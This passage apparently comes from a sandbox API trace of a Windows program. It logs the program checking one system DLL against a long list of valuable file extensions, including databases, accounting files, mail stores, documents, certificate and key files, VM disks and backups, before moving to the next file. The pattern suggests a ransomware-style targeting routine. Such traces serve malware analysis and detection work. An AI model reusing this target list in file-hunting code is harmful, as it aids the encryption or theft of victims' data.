returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll" [0100.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.ems") returned 0 [0100.754] lstrlenA (lpString="*.ems") returned 5 [0100.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.db") returned 0 [0100.754] lstrlenA (lpString="*.db") returned 4 [0100.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.dbf") returned 0 [0100.754] lstrlenA (lpString="*.dbf") returned 5 [0100.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.myox") returned 0 [0100.754] lstrlenA (lpString="*.myox") returned 6 [0100.754] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.myo") returned 0 [0100.755] lstrlenA (lpString="*.myo") returned 5 [0100.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.qbw") returned 0 [0100.755] lstrlenA (lpString="*.qbw") returned 5 [0100.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.qbb") returned 0 [0100.755] lstrlenA (lpString="*.qbb") returned 5 [0100.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.qbm") returned 0 [0100.755] lstrlenA (lpString="*.qbm") returned 5 [0100.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.qbo") returned 0 [0100.755] lstrlenA (lpString="*.qbo") returned 5 [0100.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.qbx") returned 0 [0100.755] lstrlenA (lpString="*.qbx") returned 5 [0100.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.qba") returned 0 [0100.755] lstrlenA (lpString="*.qba") returned 5 [0100.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.qby") returned 0 [0100.755] lstrlenA (lpString="*.qby") returned 5 [0100.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.qbj") returned 0 [0100.755] lstrlenA (lpString="*.qbj") returned 5 [0100.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.ofx") returned 0 [0100.755] lstrlenA (lpString="*.ofx") returned 5 [0100.755] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.qif") returned 0 [0100.755] lstrlenA (lpString="*.qif") returned 5 [0100.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.mye") returned 0 [0100.756] lstrlenA (lpString="*.mye") returned 5 [0100.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.mbox") returned 0 [0100.756] lstrlenA (lpString="*.mbox") returned 6 [0100.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.eml") returned 0 [0100.756] lstrlenA (lpString="*.eml") returned 5 [0100.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.pst") returned 0 [0100.756] lstrlenA (lpString="*.pst") returned 5 [0100.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.ost") returned 0 [0100.756] lstrlenA (lpString="*.ost") returned 5 [0100.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.idx") returned 0 [0100.756] lstrlenA (lpString="*.idx") returned 5 [0100.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.dbx") returned 0 [0100.756] lstrlenA (lpString="*.dbx") returned 5 [0100.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.sql") returned 0 [0100.756] lstrlenA (lpString="*.sql") returned 5 [0100.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.mdb") returned 0 [0100.756] lstrlenA (lpString="*.mdb") returned 5 [0100.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.fdb") returned 0 [0100.756] lstrlenA (lpString="*.fdb") returned 5 [0100.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.wab") returned 0 [0100.756] lstrlenA (lpString="*.wab") returned 5 [0100.756] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.dat") returned 0 [0100.756] lstrlenA (lpString="*.dat") returned 5 [0100.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.txt") returned 0 [0100.757] lstrlenA (lpString="*.txt") returned 5 [0100.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.jpeg") returned 0 [0100.757] lstrlenA (lpString="*.jpeg") returned 6 [0100.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.jpg") returned 0 [0100.757] lstrlenA (lpString="*.jpg") returned 5 [0100.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.png") returned 0 [0100.757] lstrlenA (lpString="*.png") returned 5 [0100.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.php") returned 0 [0100.757] lstrlenA (lpString="*.php") returned 5 [0100.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.cs") returned 0 [0100.757] lstrlenA (lpString="*.cs") returned 4 [0100.757] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.cpp") returned 0 [0100.757] lstrlenA (lpString="*.cpp") returned 5 [0100.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.rar") returned 0 [0100.758] lstrlenA (lpString="*.rar") returned 5 [0100.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.zip") returned 0 [0100.758] lstrlenA (lpString="*.zip") returned 5 [0100.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.html") returned 0 [0100.758] lstrlenA (lpString="*.html") returned 6 [0100.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.htm") returned 0 [0100.758] lstrlenA (lpString="*.htm") returned 5 [0100.758] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.xlsx") returned 0 [0100.759] lstrlenA (lpString="*.xlsx") returned 6 [0100.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.xls") returned 0 [0100.759] lstrlenA (lpString="*.xls") returned 5 [0100.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.mp4") returned 0 [0100.759] lstrlenA (lpString="*.mp4") returned 5 [0100.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.ppt") returned 0 [0100.759] lstrlenA (lpString="*.ppt") returned 5 [0100.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.pptx") returned 0 [0100.759] lstrlenA (lpString="*.pptx") returned 6 [0100.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.doc") returned 0 [0100.759] lstrlenA (lpString="*.doc") returned 5 [0100.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.dot") returned 0 [0100.759] lstrlenA (lpString="*.dot") returned 5 [0100.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.docx") returned 0 [0100.759] lstrlenA (lpString="*.docx") returned 6 [0100.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.7z") returned 0 [0100.759] lstrlenA (lpString="*.7z") returned 4 [0100.759] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.tar") returned 0 [0100.759] lstrlenA (lpString="*.tar") returned 5 [0100.760] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.bz2") returned 0 [0100.760] lstrlenA (lpString="*.bz2") returned 5 [0100.760] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.gz") returned 0 [0100.760] lstrlenA (lpString="*.gz") returned 4 [0100.760] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.mkv") returned 0 [0100.760] lstrlenA (lpString="*.mkv") returned 5 [0100.760] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.eml") returned 0 [0100.760] lstrlenA (lpString="*.eml") returned 5 [0100.760] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.msg") returned 0 [0100.760] lstrlenA (lpString="*.msg") returned 5 [0100.760] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.edb") returned 0 [0100.760] lstrlenA (lpString="*.edb") returned 5 [0100.760] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.accdb") returned 0 [0100.760] lstrlenA (lpString="*.accdb") returned 7 [0100.760] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.odb") returned 0 [0100.760] lstrlenA (lpString="*.odb") returned 5 [0100.760] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.java") returned 0 [0100.760] lstrlenA (lpString="*.java") returned 6 [0100.760] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.asm") returned 0 [0100.760] lstrlenA (lpString="*.asm") returned 5 [0100.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.pfx") returned 0 [0100.761] lstrlenA (lpString="*.pfx") returned 5 [0100.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.pem") returned 0 [0100.761] lstrlenA (lpString="*.pem") returned 5 [0100.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.p12") returned 0 [0100.761] lstrlenA (lpString="*.p12") returned 5 [0100.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.gpg") returned 0 [0100.761] lstrlenA (lpString="*.gpg") returned 5 [0100.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.vsd") returned 0 [0100.761] lstrlenA (lpString="*.vsd") returned 5 [0100.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.odg") returned 0 [0100.761] lstrlenA (lpString="*.odg") returned 5 [0100.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.raw") returned 0 [0100.761] lstrlenA (lpString="*.raw") returned 5 [0100.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.nef") returned 0 [0100.761] lstrlenA (lpString="*.nef") returned 5 [0100.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.svg") returned 0 [0100.761] lstrlenA (lpString="*.svg") returned 5 [0100.761] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.psd") returned 0 [0100.761] lstrlenA (lpString="*.psd") returned 5 [0100.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.vmx") returned 0 [0100.762] lstrlenA (lpString="*.vmx") returned 5 [0100.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.vmdk") returned 0 [0100.762] lstrlenA (lpString="*.vmdk") returned 6 [0100.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.vdi") returned 0 [0100.762] lstrlenA (lpString="*.vdi") returned 5 [0100.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.lay6") returned 0 [0100.762] lstrlenA (lpString="*.lay6") returned 6 [0100.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.mpeg") returned 0 [0100.762] lstrlenA (lpString="*.mpeg") returned 6 [0100.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.djvu") returned 0 [0100.762] lstrlenA (lpString="*.djvu") returned 6 [0100.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.tiff") returned 0 [0100.762] lstrlenA (lpString="*.tiff") returned 6 [0100.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.backup") returned 0 [0100.762] lstrlenA (lpString="*.backup") returned 8 [0100.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.pdf") returned 0 [0100.762] lstrlenA (lpString="*.pdf") returned 5 [0100.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.cert") returned 0 [0100.762] lstrlenA (lpString="*.cert") returned 6 [0100.762] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.docm") returned 0 [0100.762] lstrlenA (lpString="*.docm") returned 6 [0100.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.xlsm") returned 0 [0100.763] lstrlenA (lpString="*.xlsm") returned 6 [0100.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.dwg") returned 0 [0100.763] lstrlenA (lpString="*.dwg") returned 5 [0100.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.nd") returned 0 [0100.763] lstrlenA (lpString="*.nd") returned 4 [0100.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.tlg") returned 0 [0100.763] lstrlenA (lpString="*.tlg") returned 5 [0100.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.lgb") returned 0 [0100.763] lstrlenA (lpString="*.lgb") returned 5 [0100.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.mov") returned 0 [0100.763] lstrlenA (lpString="*.mov") returned 5 [0100.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.xdw") returned 0 [0100.763] lstrlenA (lpString="*.xdw") returned 5 [0100.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.ods") returned 0 [0100.763] lstrlenA (lpString="*.ods") returned 5 [0100.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.wav") returned 0 [0100.763] lstrlenA (lpString="*.wav") returned 5 [0100.763] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.mp3") returned 0 [0100.764] lstrlenA (lpString="*.mp3") returned 5 [0100.764] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.aiff") returned 0 [0100.764] lstrlenA (lpString="*.aiff") returned 6 [0100.764] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.dll", pszSpec="*.flac") returned 0 [0100.764] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61a91a90, 